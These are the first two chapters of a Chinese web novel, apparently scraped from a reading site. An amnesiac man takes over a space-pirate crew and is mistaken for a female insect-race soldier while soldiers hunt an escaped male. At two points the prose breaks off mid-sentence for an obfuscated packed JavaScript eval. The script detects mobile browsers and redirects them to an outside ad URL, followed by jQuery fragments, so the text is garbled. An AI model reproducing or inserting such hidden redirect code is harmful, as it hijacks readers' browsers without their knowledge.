《战损雄虫禁养守则》
1. 相杀者相爱(1)
“虫神在上,庇佑那群小子逃出这片……”
“#¥%??在上?他们……逃出…”
“谁??庇佑谁???”
身体仿佛被碾碎又重塑,记忆不断被剥离。
最后——
意识沉入黑暗。
“我刚刚想了什么?”
.
“老大,这小子醒了,再不醒我都要以为他死了。”
像是有人捏住他的下颚,力道没轻没重,甚至有些轻蔑地扇着他的脸。
在一群体格粗壮、甚至保留着部分粗犷种族特征的星盗包围中,被围在中间的这个黑发类人种实在“纤弱”,始终都是垂着头,黑发凌乱挡住前额,不知道是吓蒙了,还是识趣,反捆在束缚电铐的双手,也一直没有挣扎过。
星盗老大走到黑发类人种身前,伸手直接揪住对方后脑的头发,极粗暴地向后一扯,眯着眼打量着这家伙,眼睛里全是算计。
这个动作让对方一仰头,露出清晰的面部,迎着舰体上方的炽灯,众星盗这次看的真切,那双没被血污沾染的眼睛里,流转着星云一般深邃的紫,在光下危险的流动着。
眼睛里的情绪太凉了,明明毫无波动,看久了却像直视宇宙无垠的深度,让他们不受控制地视线偏移了半分。
星盗老大没来得及低头,转头皱眉先问,“捡到他的巴克呢?”
这家伙身上的东西都要被扒光了,就剩下几件什么也没的贴身衣裤和一个翻译手环,一看就知道巴克那小子搜刮了个干净。
有星盗回应:“好像下去买物资了,我看就是去换钱了!”
“这还是只肥羊啊。”“谁说不是呢,他腕上的那个光脑,可是没见过的款式。”“衣服材料也没见过,但看着就贵。”“就是整个弱不拉几的。”
他们购换物资,停靠特色星球的机会不多,巴克这一去至少也要半个月。
听到这些回答,星盗老大更不爽了,低头又刚好对上黑发类人种毫无波动的眼睛,心里莫名一个突突。
这种被吓到的感觉让他恼火,当即反手一个巴掌甩了过去,将人打的头向右侧了过去,那双让人厌恶的眼睛也受痛垂下,只能看见锋锐挺立的鼻骨压下一道沉沉阴影。
无人注意,这么安静垂下头的黑发类人种,在眼尾那道不知道被谁划伤的口子的血流到唇边时,他漫不经心地伸舌舔了下,口腔内弥漫开血腥味,一直偏圆形的瞳孔有瞬间敛成了尖锐竖瞳。
“老大,虫族那边最近从主星跑出来几个雄虫,那群疯子最近快把这片星域翻遍了,见到怀疑的就直接拿枪怼,这家伙……”
有星盗忍不住小声提醒。
“虫族,一群疯狗。”星盗老大下意识呸了声,“这家伙一身从战场上刚滚下来的伤,还雄虫,那群娇宝宝连最低级的机甲都启动不了。”
对于雄虫,除了那些到处咬人的虫族雌虫们,外族除非靠仪器,否则单从外表上很难判定。
当然,还有一种方法。
扒光对方的衣服,看看从脊椎那侧低至尾椎的末端,有没有收拢成花苞形状的平面纹路,那里是雄虫特殊情况下从体内释放尾勾的接口,而现在的虫族,恐怕只有高等级雄虫才能自由释放尾勾,低等级的雄虫哪怕是发情期,也不能逼出尾勾半分。
“我听说在虫族历史上,雄虫的尾勾和雌虫的外骨骼一样,都属于星系三级武器,甚至最高可达六级。”
“如果这是个雄虫,你们说我要是将他给扒光了,他能不能挥着那小尾勾,给我一巴掌?”
像是听到了个大笑话,星盗们爆发哄笑。
毕竟整个阿伽尔星系都知道,虫族如今哪怕是高等级雄虫,他们的尾勾都很难具备攻击性。
但他们现在一切的恶意,都建立在他们确信这个家伙不是雄虫的基础之上,虫族那群快疯了的雌虫们,哪怕前些年亲手颠覆了政权,雄虫的特殊性依旧具备独一性。
而那么脆弱的雄虫,连最低级的机甲都无法启动,又怎么可能一身从战场上滚下来的伤。
终于星盗老大不耐烦蹲下身,
“等巴克回来再处置你,小子,听着,你最近就先从最低级的奴隶干起,要是想起来什么,说不定还能靠家里赎金换点好日子。”
那人伸手抓着他的头发,脖颈被迫上仰露出致命处,在格斯说话的时候,黑发类人种却流露出困惑,对方粗大分明的动脉血管就在眼前,本就是深紫的眸变得沉黑,他偏头定定地看着,瞳孔微不可察地竖起。
“可是,我为什么感觉……”黑发类人种喃喃。
“什么?”格斯听到了蚊子一样的声音,下意识靠近。
“你好弱啊。”
在听清这句话的瞬间,星盗老大近乎本能的要退,然而迟了。
冰凉的指尖不知道什么时候已经放到了他的脖骨上,没来由的凉意从凸起的骨头刺入脑髓,星盗老大整个人惊骇,压根不知道这家伙什么时候捏住自己命脉的,最后的反应竟是对方怎么挣脱束缚电铐的。
咔擦!
很轻的一声,却比任何一声都要重。
所有星盗傻了。
骨头整个碎裂,没了支撑的头,软软的掉在地上,拉着那粗肥的身体,砰地一声撞在了地面上。
种族天赋甚至来不及发动,没有任何能量,能从粉碎的骨头里,救下已经脑死亡的意识体。
黑发类人种低头,新奇地看了看自己的手,“原来不是我的错觉。”
他脚踩住了向外滚的那颗头,没了脖子的连接,这就像颗无主的皮球,“你真的好弱。”
黑发类人种面无表情走过,脚下碎开一滩血浆,他抬头抹了把脸,终于露出血污下近乎完美的皮相,已经兴奋成竖状的瞳孔黑的印不进任何光线。
他抬头看向突然之间如临大敌的星盗们,歪了歪头,“嗯,他说我要从最低级的奴隶干起,但我现在干掉了他,那我现在是什么身份?”
束缚电铐无用!竖瞳!!雌虫!!!
已经没有星盗去想这个雌虫额头上怎么没有标志性触角的事情了,虫族军雌的单兵作战能力阿伽尔星系出了名的恐怖,不说普通的粒子炮对他们没用,就是现在的他们手上也没武器啊!!
只是凑个热闹来看个捡到的猎物,谁能想到抓了个大杀器回来,一身松散全无武装装备的星盗们当场跪了一地,
“你是新老大!!!”
没问题,星盗老大的更迭潜规则本来也是这样,杀了旧老大,就是新老大!
以为能得到自己一点身份线索的黑发类人种:“……”
他愉悦地笑了下,很快接受了这个身份,“对,我是你们的新老大。”
黑发类人种松了松颈骨,右手放在脖后,漫不经心地站着,听着耳边星盗们的七嘴八舌,像只小憩的静态凶兽,有种基因等级上的压制。
“现在新老大想知道。”他指着脸侧从眼尾处被刮擦出的伤口,字句危险,笑意瞬间消失,语气却很平和,“是谁干的。”
星盗们战战兢兢又无比诚实地出卖了某个家伙。
.
在清理完一切不爽的东西后,从记忆中勉强扒拉出一个称呼的希尔,双腿翘在之前属于星盗老大的大号主座上,单手撑着脸,整个虫有种很平静的嚣张。
最开始安静到乖巧的那段时间,与现在相比,简直就像是星盗们记忆中的错觉。
这简直就是个大魔王。
希尔在了解了这群星盗的情况后,毫不留情当着他们面笑了一声,“一群三流货色。”
没装备、没实力、没脑子。
简直就是一群杂鱼组成的队伍,拿个叉子就想捞一笔。
难怪老大连他一下都扛不住。
希尔眯眸,“你们说我是虫族雌虫?”
一群星盗疯狂点头。
希尔的瞳孔已经恢复正常形状,偏深的紫色瞳孔,正深深浅浅的波动,但没一个星盗敢再盯着他看。
除了虫族有竖瞳,其他种族没有这个特征。
说不出哪里不对,希尔摸着下颚心想。
“我为什么不是雄虫?毕竟我没有触角。”
星盗们小心翼翼解释,
“雄虫、雄虫比较珍贵。”(其实是废物。)
“他们不太能打。”(打不了一点。)
“您一定是高等级雌虫!”(低等级雌虫也不能徒手挣脱束缚电铐啊!)
……
希尔随意听着这些家伙委婉的说法,总而言之,在他们眼中,他与雌虫的区别只在于有无触角,但与雄虫的区别,就完全是物种隔离了。
非要解释,简称基因突变。
他们没有说谎,逻辑上也很完整,只是有些地方似乎还是不太对。
雌虫?
“嘶?”这一声气音都带着长长的疑惑,但哪里不对又实在说不上来。
最终希尔意味不明笑了下,“对,我是雌虫。”
不知为何,星盗们听到新老大肯定了他们的猜测(其实是他们的确定),纷纷松了一口气,继续连脚尖都对齐地站成一排,可惜松腰挎肩,希尔不忍直视地挪开了视线,没来由觉得辣眼睛。
他向后一靠,记忆里极好地拎出了某个名字。
“那个,捡到我的——巴克呢?”
.
两个月后。
捡到希尔的巴克,不知道是不是听到了新旧老大的更替,从他去购换物资到现在,整个人彻底失去了踪迹。
再次得到空消息的希尔,脸色还算平静,手上捏爆的新能子弹余波却炸到了传消息的星盗脸上。
星盗硬生生压住想要躲开的本能,这完全要归功于新老大不把他们当活人的训练方法,就像此刻,头发被炸开,他宽大的脸饼上依旧要扯出一个笑容,“老大别生气。”
希尔看都懒得看他一眼,“滚。”
“诶!”这次跑的比谁都快。
这次星盗们停靠在格雷厄姆星域,准备出手之前在各个星云搜刮的星矿能源,只留下三分之一的星盗们留守星舰。
希尔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136043|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昨天跟着出手星矿能源的那批走了一圈流程,今天与另一批来负责购换物资。
那日说这批星盗是三流货色简直算是夸奖,仔细了解下来,希尔简直要被这支不靠谱的队伍气笑,人员流动随意,纪律散漫,就连买个东西——都要砍价!
什么都不记得,但绝对相信自己没这么低级的希尔,伸手拍在喋喋不休的卖家桌前,“五折,全包。”
卖家低头觑了一眼裂开细缝的桌面,瞬间笑成了花,热情指数飙升,“这么大方啊,没问题!”
卖家进入后屋打包物资,可怜的桌面上只有一个接收星际各个频道信号的广播收音器械,摇摇欲坠的瞬间,被希尔一个反手接住,随手抛到了平稳的另一半桌面。
收音器械在半空中滋啦一声,一直堵住的电流好像通顺了,传出几道拍麦克风的挎挎声。
在遥远信号的那一头,那个正在试音的人,拍击麦克风的节奏很乱,有些不耐烦,在声麦那头宇宙统一的先喂了几声。
——“诸位,格雷厄姆星域官方公告频道暂被虫族第三军团临时征用,以下为正式通知。”
——“格雷厄姆星域所有星球,全部跃迁通道已被虫族正式封锁,大约……哦,明确有五位我族雄虫阁下逃窜在格雷厄姆星域,目前已抓捕四位,还有最后一位阁下如有线索提供,虫族将提供半颗星球级的能源储备作为奖励,也可换算成高星币及虚拟通用货币等。”
——“跃迁通道将会在抓捕完成后开放,望知。”
窸窸窣窣的杂音中,这道冰冷散漫的声线在与那边嘈杂的其他声音交流着什么,不消片刻,这道要结束的远程宣告再次续上,这一次拍麦试音的节奏很明显,要比上次的大力。
希尔往嘴里抛了个零食,等着这道声音的后续,这次的不满几乎要从拍麦表现出来,说出的内容却截然相反。
——“提供消息者不得进行任何伤害雄虫阁下的行为,发现雄虫阁下踪迹者不得对阁下造成精神恐慌,凡有发现哄骗及伤害雄虫阁下者,虫族将按照星际种族法典,追究最高军事责任。”
——“以上,虫族对此次行为致以最高敬意!”
然后是“啪”的一声断麦的声音。
周围瞬间炸了,他们根本不在意跃迁通道被封锁这种小事,希尔能听到离他最近的星盗小弟,在疯狂换算半颗星球级的能源能换来多少高星币。
在阿伽尔星系,实体货币统一为稀有矿石能源精淬,从纯度上划分为高中低,直接成为高星币、中星币、低星币,可以同时作为货币与能源储备,是星球能源站以及多项基地和机甲启动的必备能源。
这很容易理解,高中低之间按照一比一百的汇率流通,这群三流星盗们一年只算入账,换成高星币不过五千出头。
希尔已经听到星盗小弟换算到几十万了,他敲了敲桌面,身边顿时安静。
似乎终于想起来在他们眼中等于星币的人形彩票,对于他们的雌虫老大,却是要碰都不能随便碰一下的宝贝。
雌虫么,他们都能理解。
可惜他们的体贴,希尔并没有理解收到,他看着那个已经断了信号的收音器械,眼神有些古怪,好像有某种哪怕失忆也不能扭转的认知,正在与正经历的事情,碰撞出截然相反的结果。
希尔咬碎了口中汁水充沛的果子,心里有些困惑,俊美到危险的皮相因此有霎时的茫然,“一个雄虫,这么值钱吗?”
奇了怪了,他总有种要暴富的错觉,好像手底下一堆可以卖出去的雄虫。
扭头看向那群站都站不直的星盗们,希尔扶额,摇头心想自己这么会有这种奇怪的念头。
.
而在格雷厄姆星域信号总控室,虫族第三军团长副官捧着自己的胸口,为自己刚刚差点葬送在雄虫保护协会上的前途而祈祷。
“上将,如果你刚才不补充后半段话,一旦那位阁下在格雷厄姆星域出现任何问题,雄虫保护协会都有权利将你送上雄虫保护法庭,而你要知道,雄虫保护法庭在十五年前,还是虫族军事法庭的全称!”
汉特简直要为此窒息,额头的触角在疯狂摇摆颤抖。
而被下属恨不得摇肩提醒的第三军团长,深灰色的眼眸有种无机质的冷淡,触角恹懒垂下,脚下一动,带着他整个人和椅子转了一圈。
他很懒散地松开了领口的军扣,给人严谨而冷硬的上将军服,硬生生像是披上的外套,仿佛下一秒就会被其主人不耐脱下。
艾格莱手上晃动着自己的军帽,指尖灵活,军帽在飞速地转着一个又一个圈,就像是汉特在他耳边说的话,一句又一句地飞快从脑中溜走。
“那群家伙经历了十五年前的政变后,现在对雄虫的保护尺度已经上升到了军事五级,您好歹将明面上的功夫做到位啊啊啊啊!”
汉特恨不得上演一个直挺挺的被气死。
终于——
第三军团长艾格莱开口了,他神态散漫,非常不走心地安慰了一句心脏快要爆炸的汉特。
“汉特,你太紧张了。”
2. 相杀者相爱(2)
不——
汉特拒绝承认这种近乎侮辱他虫格的语言攻击。
根本不是他太紧张了,而是上将一直太不把某些事放入眼中了,比如涉及雄虫的任何事情。
想来也可以理解,作为当年第一时间响应,紧跟在元首冕下身后攻入主星,现在被雄虫保护协会列入威胁级别最高的红名单中前三,最遗憾的事情,恐怕就是不能亲手将雄虫从这个世界上抹除。
汉特从不吝啬于,将他上司的恐怖程度往最大尺度揣测。
——“格雷厄姆星域跃迁通道已全部封锁,请下达最新指令!”
冰冷机械声让汉特放下了捧在胸口的手,他神色一正,属于军雌的素养立刻爆发,却听到上司艾格莱腕间的光脑传来三声邮件提示音。
——“尊敬的艾格莱上将,雄虫保护协会向您发来一封警告函!”
——“尊敬的艾格莱上将,雄虫保护协会向您发来一封警告函!”
——“尊敬的艾格莱上将,雄虫保护协会向您发来一封警告函!”
汉特的脸色一垮,绝望中带着我就知道会这样的表情。
艾格莱面不改色歪头,冷木灰色的发丝带着一点卷起的弧度,在他额头前轻轻跳了下,向着侧边滑落,他像是没有骨头一样,从转椅中轻盈地跃起。
松垮搭在肩头的军制大衣快要掉下,被他右手随意一拉,而后艾格莱抬起左手光脑懒淡道:“奇怪,我不是已经屏蔽这什么协会了吗?”
汉特像是个一个幽灵,在他身后幽幽开口:“上将,雄虫保护协会的星网权限高于您,如果想要彻底屏蔽,不仅需要综合判定个虫对雄虫的威胁程度低于一,还需要向雄虫保护协总部提交申请。”
而对于已经登上红名单前三的艾格莱上将,这辈子都不会有这个资格。
“这样……”艾格莱没有丝毫犹豫,解开光脑向着汉特一丢,“在回主星之前,这个就由你保管,上面存储了我的生物定位,只要没显示濒危信号,就不用担心。”
他说完伸了个懒腰,像是舒展骨头的猎豹,掀起军制大衣的那只手与敞开的脚,弯出一条流畅优雅的弧度,被多功能军制腰带勒出的腰线,仿佛能割伤人的眼睛。
“我讨厌那群快要入土的老虫子,早知道当年攻入主星的时候,第一时间应该先拔掉他们的舌头。”艾格莱迈步,语气中的可惜意味非常真诚。
他离开的背影踩着总部外昏沉的晚光,明明像是稳重懒散的古木,根部的土壤却与晚光里浮动的红霞没有区别,流动的全是猩红的血。
对于抛过来的光脑,汉特接的熟练,他看着上司光脑中,一条又一条弹出来的邮件,深深的吸了口气。
知道上司急着回主星抢好苗子,偏偏在半路上被塞了这么一个窝心的任务,之前直接公布悬赏的行为,在风险指数上是完全不被通过的,雄虫阁下对于虫族的重要性,不允许任何含糊。
尤其最后没抓到的那位雄虫阁下,身份并不简单。
但谁让被强行接取任务的对象,是艾格莱上将呢?没有第一时间选择拒绝,还要归功于上将最近罕见的好心情。
.
那则宣告在格雷厄姆星域留下的震荡依旧,久住在格雷厄姆星域的种族非常混乱,下九流的势力在这里扎堆,他们要钱也要命,在这里有实力很安全,没实力有钱也很安全,一种古怪默认的秩序维护着这片星域。
但这样的地方,有个很出名的点,就是跃迁通道站非常多,比最会做窝的种族忘掉的窝,还要多。
不知道哪个地方就出现了个废弃的跃迁通道,修理着修理着突然就能用个半次,然后可以随机来一次盲盒传送,不包生死的那种。
因此虫族这次封锁的工作量,要比他们想的还要大。
而在虫族忙碌的时候,他们的往事也像是八卦一样,在格雷厄姆星域被重新翻阅,成了最津津乐道的下酒菜。
某处特色酒馆,超劲爆的星际最火摇滚乐充斥每一个角落,酒色交织出本能的欲.望,很多保留残次种族特征的外星种,像蜜蜂一样,本能地追逐着碳基生物最高进化形态——类人种的青睐。
在这样混乱的角落,能躺下三个人玩游戏的软质沙发,只有一个黑发类人种坐着,而他身前站了十几个脚对脚对齐的星盗,一脸他们有错,为什么要活在这个世界上的惭愧。
“啪啪啪——”
希尔在手边案台上反复甩打着一叠纸质账单,那群连电子账单都找不全的蠢货,就这么把一叠缺三少四的垃圾扔到了他眼前,美名其曰最用心的账务报单。
深紫的眼睛里电闪雷鸣,希尔面色平静的可怕,甩拍账单的声音一下一下,而他整个虫的低气压已经具象化,深眉紫眸压出的凉意,密密麻麻地爬到了每个站得笔直的星盗双腿。
星盗们双腿瑟瑟发抖。
希尔右腿搭左腿,长腿向前一递,整个身体向后一靠,大号沙发几乎压不住他的气场。
他用捏握着账单的手,对着某位之前负责担任财务的星盗勾了勾,无数张纸片扇出了一阵凉风。
不等那位星盗战战兢兢靠近,“哗啦”一声,纸片劈头盖脸地砸了过去,每个星盗的脸上都精准挨了纸片一巴掌,漫天乱飞的账单,像是他们的胆子,根本不知道掉哪去了。
要是以前——要是以前……
希尔深吸了一口气,没能从空白的脑子里扒出更多的念头,那根说不出名字的神经在疯狂跳动,他好像被一群蠢货欺负了,从来没被如此侮辱过智商。
希尔伸手扶住额头,竟生生气笑了,垂下的黑发被一把薅至脑后,露出极惹眼的全脸。
他真心发问,
“你们、是不是听不懂星际通用语,我之前说的哪句话不理解吗?”
要的是账务,看的是总结,不是甩过来一堆奇怪的流程单,里面的毛线已经拧成了死结,让他像猫兽人一样去理清吗?
偏偏他现在状态不对,必须要借着现成的势力接触现实,处于灰色地带的星盗们是最好的跳板,如果不是那句新老大,在他清醒过来的瞬间,这群家伙就会去陪他们的旧老大。
希尔在发着脾气,却没注意到酒馆内的气氛与热油没有区别,一点火星就可以瞬间点燃现场。
星际外星种很难摆脱对最终进化体的痴迷,在很多地下贸易链中,人形宠物都是最抢手的货物,他们追寻这种基因终极的吸引,在几百年前,拟人态的雄虫一度是阿伽尔星系最想要的宠物之一。
然后那些暗搓搓下手的家伙们,就被虫族的雌虫们,上门按着打了个头破血流。
那段岁月,简直是席卷整个阿伽尔星系的腥风血雨,不知道多少种族彻底葬送在了虫族手中,成为他们威慑战绩其中之一。
至于雌虫,如果他们能把头上讨厌的触角割下来,也许可以分担一点这种压力,偏偏低等级雄虫无法自由释放尾勾的基因退化,无形中迎合了这种畸形的向往。
美丽又强大的事物,是基因追寻的终极,可很多时候,基因的主人只想要美丽,不需要俯首之物的强大。
留恋在希尔身上的目光越来越多,部分歪倒在外星种怀里的类人种,也啃咬着手指悄悄看了过来。
正处在精神暴怒中的希尔,黑紫竖瞳凉凉朝周围看扫过一眼,好看的皮囊几乎在发光,他们甚至能看到彩色荧光下,对方睫毛上跳动的浮尘。
偏偏——
哦!该死!是雌虫!
一片心碎的惋惜声,仿佛实体化降临在这个酒馆内,那点被吸引的本能,瞬间被虫族这些年的暴打给压了回去。
事实证明,后天培养的趋利避害本能,也能被刻进代代流传的生物本能中。
没有人把这个竖瞳虫族认成雄虫,哪怕他头上没有触角,但没有触角的雌虫有概率出现,让一群外星种星盗们乖乖听话的雄虫出现的概率——为零。
氛围恢复了正常,不爽的外星种们很快聊起了近些时日最火的话题。
“雌虫真讨厌啊,他们过去几百年把雄虫捧到天上去,不让看不让碰的,自己争着抢着跪着讨好,现在算什么,站着来讨好?“
随着这一声娇俏的抱怨,嬉笑声大量炸开。
“十五年前还以为那些雌虫军团叛乱,是冲着灭族去的,结果只是把高等级雄虫拉下来,剥夺了雄虫的皇室继承权,建立了什么联邦议会,自以为能博得平等。”
有外星种笑了一声,嘶哑的调子里充满看乐子的恶趣味,
“最后不还是败在基因的求偶天性上,现在不尴不尬的相处着,当时调制出的信息素抑制剂副作用延续到现在,如今哪怕有了雄主,雄虫们被吓得,连最后一点深度精神抚慰都带上了负面因子,信息素更是给的不情不愿。”
“这些年雌虫暴乱的次数高指数增加,他们迟早有一天要完蛋。”
——“嘻。”
这一字的冷嘲笑意,几乎是阿伽尔星系种族的共识,虫族这些年的举动,与一个经久不衰的笑话没有区别,能够反复被拎出来谈论,谈一次笑一次。
.
阿伽尔星系资源丰富,各个星球都适合生命种居住,是目前星际联盟已知星系中,所居种族最多的一个星系,而这其中最凶的种族,也就是虫族。
一个将军事教育信奉到了极限的种族。
虫族幼年期和老年期合起来,占不到青年期的五分之一,当然他们这种种族年龄上的优越性,往往会败在长年战争的折损率上,很多虫族活不到老年期,大部分低等级虫族能活到青年期的三分之一,都属于少概率事件。
这其中战争折损率和虫族基因暴乱占了大头。
虫族的社会属性很像是远古兽群,雌虫捕猎侵略,所有幼崽集中抚育,雄虫负责用精神力引导幼崽破壳,守护领地,安抚雌虫。
雌虫没有其他种族漫长的孕育期,基本在精卵结合着床的瞬间,就可以将胚胎无痛引出体外,在统一的虫崽保育院生长破壳。
他们缺乏柔软的情感,却会在二次觉醒溃败于基因暴乱,雄虫的信息素与精神力对雌虫都有着独特的抚慰作用,大部分雌虫都靠着稀释无数倍的信息素药剂,勉强扛过周期混乱的基因暴乱和发.情期,可惜这全部都是短暂的压制,他们渴望着雄虫的精神烙印,对于精神力的抚慰极具贪婪。
那才是最深层的结合。
信息素还能勉强诱哄提取稀释再造,精神力却是雄虫生来的天赋,不同于其他精神力种族,雄虫的精神力反应了他们最真实的灵魂。
一丁点讨厌,一丁点恐惧,一丁点不舒服。
任何连雄虫自己都无法察觉的负面情绪,都会让他们在安抚雌虫时,精神力染上负面因子,抚慰进程中的痛苦,会在短暂压制暴乱后,于未来加速暴乱期的出现频率。
这样的雄虫,却在虫族恐怖的百亿数量基数上,仅仅占据了千万分之一,而这其中大量还是基因不断退化中的低等级雄虫。
众所周知,低等级雄虫的信息素作用在高等级雌虫身上,作用会按等级差距进行等比率降低,而精神力则完全无法抚慰高等级雌虫。
多么扭曲的种族,骨子里明明向往弱肉强食,基因却在强迫他们低头,让触碰想要之物的雌虫学会忍让,低痛觉的虫族天性也成为雄虫发泄恐慌的乐趣之一。
一切混乱爆发在十五年前。
虫族十二军团叛变七大军团,雄虫皇室政权被颠覆,半成品的信息素抑制剂给了他们错觉般的希望,以为可以就此摆脱雄虫的桎梏,虫族法典被不断重修,虫族军事法庭被迫分离出雄虫保护法庭,极端的保护欲与极端的毁灭欲碰撞在了一起。
那段时间,虫族真是热闹的不像话。
这场内战,最终止步于五年后信息素抑制剂副作用的爆发,他们终究低估了基因对于雄虫的眷顾,最后反叛军团退了一步,与他们针锋相对的保守军团也退了一步。
虫族雄虫皇室被废除,虫族法典重修,十二军团长建立新的虫族联邦议会,在这场内战中被吓得瑟瑟发抖的雄虫们,失去了很多权利,却也比过去更加珍贵。
可惜,雄虫精神力的负面因子因此增加到了一个可怕的程度,雌虫近年来的暴乱期高频率爆发。
就像整个阿伽尔星系的种族想的那样,只要等到足够的时间,这个种族会自己走上末路。
经历过那次政变,归属于七大反叛军团的雌虫们的头,抬不了更高,却也低不了更低。
十年来,他们内部流传着的那句话,曾短暂地回荡在阿伽尔星系每一个种族的耳边。
【就这样,一起去死吧。
我的同族们】
.
酒馆内,虫族扭曲的历史成了可以拿来取笑的存在,热闹的气氛被烘托的像是冒了泡的烈酒,在其中的每个外星种都醉的不省人事,大量隐秘不可说却人人皆知的过往,成了落在耳边挑动神经的针。
星盗们早已散去,只留下几个守在希尔身边,这片并不宽阔的空间,不知道在什么时候安静了下来。
希尔指尖漫不经心击点着酒水杯壁,光影透过暗黄液体,蜿蜒扭曲在他的修长骨节间,他垂下的眼睛没有呈现出虫族第二形态的竖瞳,却比任何时候都要深
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136044|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他真的是雌虫吗?
希尔现在甚至在怀疑,他真的是虫族吗?
希尔饮下了一口酒水,流淌在味蕾上的味道没有点亮任何一片记忆碎片,一切都陌生的可怕,那些虫族的过往,偷空了他的整颗心腔,听来的故事总给他一种荒诞感。
无意识一口饮下酒水后,希尔的舌尖在疯狂拒绝着这种劣质的味道,他拧眉看了眼,确认这玩意没毒后,还是忍不住起身。
“老大你去哪?”
醉鬼星盗呆呆喊了声。
希尔摆手,神色间的冰冷,连他自己都没意识到,“去趟卫生间。”
他走远,身后拉开的影子很长,长到划分了两个种族,醉鬼星盗低头看,突然傻乐了一下,倒头睡了过去。
.
卫生间内。
希尔对着镜子拢了拢额头的黑发,他确认自己头上没有任何伤口,雌虫的触角如果不是后天意外剥离,那他就是先天触角残缺?
突然,一股奇怪的感觉出现,穿入呼吸道的空气里多了什么东西,整个身体都在表达着不悦。
希尔莫名手痒,他碾磨着指尖,重重地闭了下眼,浓密睫毛投下的影子都压着一股脾气。
希尔很讨厌失控,他的掌控欲哪怕是在失忆状态,也露出一二分端倪,这里被勉强折磨出人样的星盗们非常有发言权。
但希尔没做什么,他只是甩了甩手,转身要离开,却在瞬间迎上了从里向外冲的一个家伙。
希尔按住了对方埋头的冲势,成功阻止这场要发生的灾难,他低头,看似好脾气地勾了下唇,手指克制地抽了下,忍住了某些要爆发的力道,
“小、心、些。”
这个全身包裹在漆黑披风的家伙,真让人怀疑对方眼睛有没有起到作用,对方的身体在被希尔按住后,又抖又颤地僵住了,像是发觉到危险的小动物,却又在下一秒诡异地安静了。
希尔漫不经心挪开眼,嗯,像是又发现安全了的小动物。
他一只手就能捏死的小动物。
“对不起。”对方闷声闷气地道了句歉,匆匆离开。
擦肩而过时,那种奇怪的感觉更加明显,还有些熟悉。
希尔神色莫测地摸了下后颈,他刚要迈步,脚下却一顿,弯腰将踩住的东西拿起来,是一个花纹繁复的纹章,上面的图案很陌生。
应该是刚才那个小动物掉下的,希尔经过这段时间的知识摄取,也知道这种家族纹章在一定时候可以作为凭证,在星际银行支取家族信托基金。
非常适应自己星盗身份的希尔,随手颠了颠天上掉下来的星币,他会在记忆恢复后,感谢这个在穷途路上救助过自己的小动物,前提是它真的能提取星币。
希尔反手抓住空中旋转的纹章,慢步走到醉死的星盗小弟身边,踢了踢不省人事的对方,却被对方整个当成什么,双手直接抱住了小腿。
正当希尔要踹人的时候,酒馆内的气氛不知道什么时候变了。
外面在某个瞬间安静到了不寻常的地步,整个星球似乎只有这个酒馆还存在着生命,冲天的声浪在达到尽头却没有得到回音后,不安感爆了。
仿佛是回应般——
哒哒哒。
整齐的脚步声包围了这个酒馆,从外到内的空气变得肃杀沉重,无数个全副武装的虫族军雌,涌入酒馆内,本就不大的空间瞬间拥挤。
黑色手套,黑色军装,制服坚硬冰冷的线条延伸到军靴的转角弧度上,浑身上下不留一丝柔软。
高级物种的基因等级压制残忍而现实,之前还嚣张谈论虫族的外星种们,一个个极乖巧地双手抱头,贴着墙壁蹲了一圈,超新能粒子枪只平静举起,就得到一群丢械的降兵。
军雌们的面孔掩在战斗面罩之后,某一刻像极了硅基机械生命体,冰冷锋锐。
他们一声不吭,却与占领了一座星球一样,傲慢的不可思议。
脚边醉酒的星盗浑身一软,早已经爬不起来,希尔却没发觉这种物种等级上的压迫感,他挑眉向后退,刚要成为贴墙站立的众人之一,无数把冰冷的超新能粒子枪却对准了他的每一个致命位置。
头、眼睛、心脏、四肢。
没有一处落下。
希尔丝毫不怀疑,他能在瞬间被打成一滩烂泥。
“不准动。”冰冷的声音警告着希尔。
希尔面色不变,他在瞬间便想通了来由,伸手抛去那个烫手山芋,眯起的眼睛弧度很好的藏住了那点凉意,“你们在找这个?这是我刚刚捡到的,那只雄虫,应该已经跑走了。”
这时有外星种不知道是邀功还是害怕,在对峙中,小声道:“他是雌虫。”
气氛霎时沉默。
因为谁都知道,有的时候,雌虫对雄虫来说更危险,一个流窜在混乱星系的雌虫,遇见落单的雄虫,怎么想都是威胁指数爆表。
希尔举手,尽显无辜。
这时不知道那群沉默的军雌们内部频道交流了什么,他们呈无死角阵型包围了希尔,有军雌低头看了眼被抛过去的纹章,看上去没有丝毫动容,手中的枪口却危险地向前伸了伸。
看上去,对方很想直接崩了他。
希尔无奈伸手,柔软指腹对准了他们,垂下的修长十指仿佛毫无力道,手上没有任何武器,便宜廉价的着装紧贴身型,除了贴身勾勒手脚的弧度,一点私藏武器的余地都没有。
希尔知道怎么在这种情况下表现自己的无辜,他看上去甚至有些茫然,偏偏他不知道的是,在无数位高等级雌虫的威慑下,他一点反应都没有的平静,反而是最危险的证明。
脚边瘫软的星盗小弟似乎终于有点意识,他挣扎着向一边爬去,想要逃离现在的炸弹中心。
希尔低头看了眼,抬脚将这丢人玩意踹的远了些。
然而在他有动作的瞬间
——砰!
爆裂的能量光束,即使是最低档,也在希尔的侧脸上划开了一道半指长的口子。
血液顿时喷涌而出。
为首的军雌开枪了!!
“不准——”声音更冷。
